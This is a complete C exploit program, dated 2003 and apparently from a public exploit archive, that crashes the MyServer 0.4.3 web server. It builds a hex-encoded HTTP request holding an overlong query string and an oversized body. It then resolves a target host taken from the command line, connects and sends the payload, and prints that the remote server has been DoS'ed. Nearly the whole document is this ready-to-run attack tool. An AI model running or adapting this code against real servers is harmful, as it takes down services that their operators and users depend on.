MyServer 0.4.3 Remote denial of service Exploit

    
 
/* MyServer 0.4.3 DoS 
                              * vendor:
                              * http://myserverweb.sourceforge.net
                              *
                              * Written and found by badpack3t at security-protocols.com
                              * For SP Research Labs
                              * 09/08/2003
                              *
                              * usage: 
                              * sp-myserv  [targetport] (default is 80)
                              */

                              #include "stdafx.h"
                              #include 
                              #include 

                              #pragma comment(lib, "ws2_32.lib")

                              char exploit[] = 

                              /* entire request */
                              "\x47\x45\x54\x20\x2f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f"
                              "\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f"
                              "\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f"
                              "\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f"
                              "\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f"
                              "\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f"
                              "\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f"
                              "\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f"
                              "\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f"
                              "\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f"
                              "\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f"
                              "\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f"
                              "\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f"
                              "\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f"
                              "\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f"
                              "\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f"
                              "\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f"
                              "\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f"
                              "\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f"
                              "\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f"
                              "\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f"
                              "\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f"
                              "\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f"
                              "\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f"
                              "\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f"
                              "\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f"
                              "\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f"
                              "\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f"
                              "\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f"
                              "\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f"
                              "\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f"
                              "\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f"
                              "\x3f\x3f\x3f\x3f\x3f\x2e\x48\x54\x4d\x4c\x3f\x74\x65\x73\x74\x76"
                              "\x61\x72\x69\x61\x62\x6c\x65\x3d\x26\x6e\x65\x78\x74\x74\x65\x73"
                              "\x74\x76\x61\x72\x69\x61\x62\x6c\x65\x3d\x67\x69\x66\x20\x48\x54"
                              "\x54\x50\x2f\x31\x2e\x31\x0a\x52\x65\x66\x65\x72\x65\x72\x3a\x20"
                              "\x68\x74\x74\x70\x3a\x2f\x2f\x6c\x6f\x63\x61\x6c\x68\x6f\x73\x74"
                              "\x2f\x62\x6f\x62\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x54\x79\x70"
                              "\x65\x3a\x20\x61\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x2f\x78"
                              "\x2d\x77\x77\x77\x2d\x66\x6f\x72\x6d\x2d\x75\x72\x6c\x65\x6e\x63"
                              "\x6f\x64\x65\x64\x0a\x43\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e\x3a"
                              "\x20\x4b\x65\x65\x70\x2d\x41\x6c\x69\x76\x65\x0a\x43\x6f\x6f\x6b"
                              "\x69\x65\x3a\x20\x56\x41\x52\x49\x41\x42\x4c\x45\x3d\x53\x45\x43"
                              "\x55\x52\x49\x54\x59\x2d\x50\x52\x4f\x54\x4f\x43\x4f\x4c\x53\x3b"
                              "\x20\x70\x61\x74\x68\x3d\x2f\x0a\x55\x73\x65\x72\x2d\x41\x67\x65"
                              "\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x34\x2e\x37\x36"
                              "\x20\x5b\x65\x6e\x5d\x20\x28\x58\x31\x31\x3b\x20\x55\x3b\x20\x4c"
                              "\x69\x6e\x75\x78\x20\x32\x2e\x34\x2e\x32\x2d\x32\x20\x69\x36\x38"
                              "\x36\x29\x0a\x56\x61\x72\x69\x61\x62\x6c\x65\x3a\x20\x72\x65\x73"
                              "\x75\x6c\x74\x0a\x48\x6f\x73\x74\x3a\x20\x6c\x6f\x63\x61\x6c\x68"
                              "\x6f\x73\x74\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x6c\x65\x6e\x67"
                              "\x74\x68\x3a\x20\x20\x20\x20\x20\x35\x31\x33\x0a\x41\x63\x63\x65"
                              "\x70\x74\x3a\x20\x69\x6d\x61\x67\x65\x2f\x67\x69\x66\x2c\x20\x69"
                              "\x6d\x61\x67\x65\x2f\x78\x2d\x78\x62\x69\x74\x6d\x61\x70\x2c\x20"
                              "\x69\x6d\x61\x67\x65\x2f\x6a\x70\x65\x67\x2c\x20\x69\x6d\x61\x67"
                              "\x65\x2f\x70\x6a\x70\x65\x67\x2c\x20\x69\x6d\x61\x67\x65\x2f\x70"
                              "\x6e\x67\x0a\x41\x63\x63\x65\x70\x74\x2d\x45\x6e\x63\x6f\x64\x69"
                              "\x6e\x67\x3a\x20\x67\x7a\x69\x70\x0a\x41\x63\x63\x65\x70\x74\x2d"
                              "\x4c\x61\x6e\x67\x75\x61\x67\x65\x3a\x20\x65\x6e\x0a\x41\x63\x63"
                              "\x65\x70\x74\x2d\x43\x68\x61\x72\x73\x65\x74\x3a\x20\x69\x73\x6f"
                              "\x2d\x38\x38\x35\x39\x2d\x31\x2c\x2a\x2c\x75\x74\x66\x2d\x38\x0a"
                              "\x0a\x0a\x77\x68\x61\x74\x79\x6f\x75\x74\x79\x70\x65\x64\x3d\x41"
                              "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
                              "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
                              "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
                              "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
                              "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
                              "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
                              "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
                              "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
                              "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
                              "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
                              "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
                              "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
                              "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
                              "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
                              "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
                              "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
                              "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
                              "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
                              "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
                              "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
                              "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
                              "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
                              "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
                              "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
                              "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
                              "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
                              "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
                              "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
                              "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
                              "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
                              "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
                              "\x41\x41\x41\x0a\x0a\r\n";

                              int main(int argc, char *argv[])
                              {
                              WSADATA wsaData;
                              WORD wVersionRequested;
                              struct hostent  *pTarget;
                              struct sockaddr_in      sock;
                              char *target, buffer[30000];
                              int port,bufsize;
                              SOCKET mysocket;

                              if (argc < 2)
                              {
                              printf("MyServer 0.4.3 DoS by badpack3t\r\n <>\r\n\r\n", argv[0]);
                              printf("Usage:\r\n %s  [targetport] (default is 80)\r\n\r\n", argv[0]);
                              printf("www.security-protocols.com\r\n\r\n", argv[0]);
                              exit(1);
                              }

                              wVersionRequested = MAKEWORD(1, 1);
                              if (WSAStartup(wVersionRequested, &wsaData) < 0) return -1;

                              target = argv[1];
                              port = 80;

                              if (argc >= 3) port = atoi(argv[2]);
                              bufsize = 1024;
                              if (argc >= 4) bufsize = atoi(argv[3]);

                              mysocket = socket(AF_INET, SOCK_STREAM, 0);
                              if(mysocket==INVALID_SOCKET)
                              {       
                              printf("Socket error!\r\n");
                              exit(1);
                              }

                              printf("Resolving Hostnames...\n");
                              if ((pTarget = gethostbyname(target)) == NULL)
                              {
                              printf("Resolve of %s failed\n", argv[1]);
                              exit(1);
                              }

                              memcpy(&sock.sin_addr.s_addr, pTarget->h_addr, pTarget->h_length);
                              sock.sin_family = AF_INET;
                              sock.sin_port = htons((USHORT)port);

                              printf("Connecting...\n");
                              if ( (connect(mysocket, (struct sockaddr *)&sock, sizeof (sock) )))
                              {
                              printf("Couldn't connect to host.\n");
                              exit(1);
                              }

                              printf("Connected!...\n");
                              printf("Sending Payload...\n");
                              if (send(mysocket, exploit, sizeof(exploit)-1, 0) == -1)
                              {
                              printf("Error Sending the Exploit Payload\r\n");
                              closesocket(mysocket);
                              exit(1);
                              }

                              printf("Remote Webserver has been DoS'ed \r\n");
                              closesocket(mysocket);
                              WSACleanup();
                              return 0;
                              }

                              

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